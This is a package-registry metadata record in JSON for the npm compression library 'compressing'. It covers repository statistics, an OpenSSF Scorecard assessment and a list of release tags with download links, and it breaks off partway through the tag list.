{"id":1548992,"name":"compressing","ecosystem":"npm","description":"Everything you need for compressing and uncompressing","homepage":"https://github.com/node-modules/compressing#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/node-modules/compressing","keywords_array":["compress","uncompress","util","tgz","gzip","tar","zip","stream"],"namespace":null,"versions_count":34,"first_release_published_at":"2016-12-24T03:12:48.789Z","latest_release_published_at":"2026-08-05T13:34:56.247Z","latest_release_number":"2.1.3","last_synced_at":"2026-09-29T10:41:33.360Z","created_at":"2022-04-09T05:27:01.480Z","updated_at":"2026-09-29T10:41:33.686Z","registry_url":"https://www.npmjs.com/package/compressing","install_command":"npm install compressing","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"release-1.x":"1.10.6","latest":"2.1.3"},"contentPolicy":null},"repo_metadata":{"id":14375477,"uuid":"76440540","full_name":"node-modules/compressing","owner":"node-modules","description":"Everything you need for compressing and uncompressing","archived":false,"fork":false,"pushed_at":"2026-08-12T04:08:09.000Z","size":994,"stargazers_count":457,"open_issues_count":47,"forks_count":36,"subscribers_count":14,"default_branch":"master","last_synced_at":"2026-09-23T19:38:52.430Z","etag":null,"topics":["compressed-files","filestream","gzip","stream","tar","tgz"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/node-modules.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2016-12-14T08:37:34.000Z","updated_at":"2026-08-06T03:23:17.000Z","dependencies_parsed_at":"2024-04-23T03:27:00.633Z","dependency_job_id":"9fb3db52-918a-453d-9aee-e8b2b1863e13","html_url":"https://github.com/node-modules/compressing","commit_stats":{"total_commits":51,"total_committers":14,"mean_commits":3.642857142857143,"dds":0.6862745098039216,"last_synced_commit":"674915cb61467bed01c9fb29c81af5a9aa6920e2"},"previous_names":[],"tags_count":32,"template":false,"template_full_name":null,"purl":"pkg:github/node-modules/compressing","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/node-modules","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/sbom","scorecard":{"id":692002,"data":{"date":"2025-08-11","repo":{"name":"github.com/node-modules/compressing","commit":"b2d231b3096450962bd5673a436011c2d9828d56"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.8,"checks":[{"name":"Maintained","score":7,"reason":"8 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 7","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":3,"reason":"Found 11/30 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Warn: no topLevel permission defined: .github/workflows/release.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: third-party GitHubAction not pinned by hash: .github/workflows/nodejs.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/node-modules/compressing/nodejs.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/node-modules/compressing/release.yml/master?enable=pin","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 1 commits out of 19 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:30:49.448Z","repository_id":14375477,"created_at":"2025-08-22T02:30:49.448Z","updated_at":"2025-08-22T02:30:49.448Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":341189360,"owners_count":37749308,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-27T02:00:07.257Z","response_time":91,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"node-modules","name":"node_modules","uuid":"7125868","kind":"organization","description":"All about node.js modules like your project 'node_modules' dir","email":"fengmk2+node-modules@gmail.com","website":null,"location":"anywhere","twitter":"fengmk2","company":null,"icon_url":"https://avatars.githubusercontent.com/u/7125868?v=4","repositories_count":116,"last_synced_at":"2024-04-14T08:26:58.741Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/node-modules","funding_links":[],"total_stars":9231,"followers":98,"following":0,"created_at":"2022-11-02T16:20:47.301Z","updated_at":"2024-04-14T08:27:22.185Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/node-modules","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/node-modules/repositories"},"tags":[{"name":"v1.10.5","sha":"40d5f1fb77b49927b3b07add69510539c7844be5","kind":"commit","published_at":"2026-04-13T13:56:27.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.10.5","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.5/manifests"},{"name":"v2.1.1","sha":"0a772789f158f6bf8dfaf51d47ba35ac48314490","kind":"commit","published_at":"2026-04-13T13:48:50.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v2.1.1","html_url":"https://github.com/node-modules/compressing/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"13d04151e07fb62fcf420e095ac76dc0e82a1ed1","kind":"commit","published_at":"2026-01-28T13:09:42.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v2.1.0","html_url":"https://github.com/node-modules/compressing/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v2.1.0/manifests"},{"name":"v1.10.4","sha":"1c1b72583a1fa83b28aa1b49b11bbcfef68b1449","kind":"commit","published_at":"2026-01-28T02:24:50.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.10.4","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.4/manifests"},{"name":"v2.0.1","sha":"45207110b2084b81f6a075ac708b81bf1aac2a78","kind":"commit","published_at":"2026-01-28T02:20:42.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v2.0.1","html_url":"https://github.com/node-modules/compressing/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"b2d231b3096450962bd5673a436011c2d9828d56","kind":"commit","published_at":"2025-08-09T11:51:26.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v2.0.0","html_url":"https://github.com/node-modules/compressing/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v2.0.0/manifests"},{"name":"v1.10.3","sha":"9478897dfbd7ddfd205341535a3ff97e511aae14","kind":"commit","published_at":"2025-05-24T03:34:04.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.10.3","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.3/manifests"},{"name":"v1.10.2","sha":"6296214d3909b7ecebeae738699460311566fc07","kind":"commit","published_at":"2025-05-22T10:10:19.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.10.2","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.2/manifests"},{"name":"v1.10.1","sha":"d173d2de13de0e7a7a80e1c489d30aefd0c459c2","kind":"commit","published_at":"2024-05-23T06:35:31.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.10.1","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.1/manifests"},{"name":"v1.10.0","sha":"11121237f91583669bac632c20dc6ae65cf81683","kind":"commit","published_at":"2023-08-24T03:59:57.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.10.0","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.10.0/manifests"},{"name":"v1.9.1","sha":"ff9178c51ff0f2e75ac0b31cc661cf43bc657035","kind":"commit","published_at":"2023-08-02T17:36:56.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.9.1","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.9.1/manifests"},{"name":"v1.9.0","sha":"674915cb61467bed01c9fb29c81af5a9aa6920e2","kind":"commit","published_at":"2023-03-26T08:47:21.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.9.0","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.9.0/manifests"},{"name":"v1.8.0","sha":"7d3ab4ec68985e7f0431ba3244f3ddeb168094fc","kind":"commit","published_at":"2023-02-24T07:28:48.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.8.0","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.8.0/manifests"},{"name":"v1.7.0","sha":"fb0f00d6df0f2c263996dea67b61bc01295c0af0","kind":"commit","published_at":"2023-01-12T03:32:21.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.7.0","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.7.0/manifests"},{"name":"v1.6.3","sha":"a8d45390507620bee3c0298d9524833e8b045db9","kind":"commit","published_at":"2022-12-22T03:28:29.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.6.3","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.6.3/manifests"},{"name":"1.6.2","sha":"2d1126f2d3d0dab7a71a874b1f5d6e637feda05d","kind":"commit","published_at":"2022-07-11T00:32:33.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.6.2","html_url":"https://github.com/node-modules/compressing/releases/tag/1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.6.2/manifests"},{"name":"v1.6.2","sha":"2d1126f2d3d0dab7a71a874b1f5d6e637feda05d","kind":"commit","published_at":"2022-07-11T00:32:33.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/v1.6.2","html_url":"https://github.com/node-modules/compressing/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@v1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/v1.6.2/manifests"},{"name":"1.6.1","sha":"c471c703f3f01b9825eeb7bea2d7d3765bc30187","kind":"commit","published_at":"2022-07-11T00:28:43.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.6.1","html_url":"https://github.com/node-modules/compressing/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"5230a76ae8fd795db2e2f199f5ab1f73080fce05","kind":"commit","published_at":"2022-06-13T05:29:20.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.6.0","html_url":"https://github.com/node-modules/compressing/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.6.0/manifests"},{"name":"1.5.1","sha":"321d9d577b97f6a96fbf6d9c6a46655349a790d5","kind":"commit","published_at":"2020-05-11T14:52:38.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.5.1","html_url":"https://github.com/node-modules/compressing/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"76ee45d6bb1320683f8efe419566c517d33bca6d","kind":"commit","published_at":"2019-12-04T08:50:13.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.5.0","html_url":"https://github.com/node-modules/compressing/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.5.0/manifests"},{"name":"1.4.0","sha":"0650825b9ea3d82016016f8839c2e37b527430cc","kind":"commit","published_at":"2018-11-30T12:03:55.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.4.0","html_url":"https://github.com/node-modules/compressing/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.4.0/manifests"},{"name":"1.3.2","sha":"b9b137d56fb35d3b6bea5ce7aac0c8aa61a7f4e5","kind":"commit","published_at":"2018-11-21T14:57:40.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.3.2","html_url":"https://github.com/node-modules/compressing/releases/tag/1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.3.2/manifests"},{"name":"1.3.1","sha":"07eaf90f70f619b76a238d436236f3eda423468b","kind":"commit","published_at":"2018-08-24T13:02:13.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.3.1","html_url":"https://github.com/node-modules/compressing/releases/tag/1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.3.1/manifests"},{"name":"1.3.0","sha":"a035ee485fd212d15cd551fc570a717a0e48f7c5","kind":"commit","published_at":"2018-08-13T07:57:20.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.3.0","html_url":"https://github.com/node-modules/compressing/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.3.0/manifests"},{"name":"1.2.4","sha":"90c8eda1a1cb9dbf827da5d91df4937b6d0b33ca","kind":"tag","published_at":"2018-07-13T14:38:10.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.2.4","html_url":"https://github.com/node-modules/compressing/releases/tag/1.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.2.4/manifests"},{"name":"1.2.3","sha":"fc16addff93a7591ff2a81dab653f2bdb239494e","kind":"tag","published_at":"2017-07-27T06:33:42.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.2.3","html_url":"https://github.com/node-modules/compressing/releases/tag/1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.2.3/manifests"},{"name":"1.2.2","sha":"79086bc8d15e47bcc692fcec981051454dbb2288","kind":"tag","published_at":"2017-07-06T02:52:14.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.2.2","html_url":"https://github.com/node-modules/compressing/releases/tag/1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.2.2/manifests"},{"name":"1.2.1","sha":"2706972568358d4fdb0b6aad445e64e48c0b9472","kind":"commit","published_at":"2017-07-01T02:39:38.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.2.1","html_url":"https://github.com/node-modules/compressing/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.2.1/manifests"},{"name":"1.2.0","sha":"242bff9b8d6edaedcee3a3e934fa7f712a78e36b","kind":"commit","published_at":"2017-07-01T01:04:30.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.2.0","html_url":"https://github.com/node-modules/compressing/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"4c2f07d1bd43b490dd41ca0c85c0545612a51ce1","kind":"tag","published_at":"2017-02-14T08:24:52.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.1.0","html_url":"https://github.com/node-modules/compressing/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.1.0/manifests"},{"name":"1.0.0","sha":"4a057d961790cdcde67f265b6c7adbf5a6f66a77","kind":"tag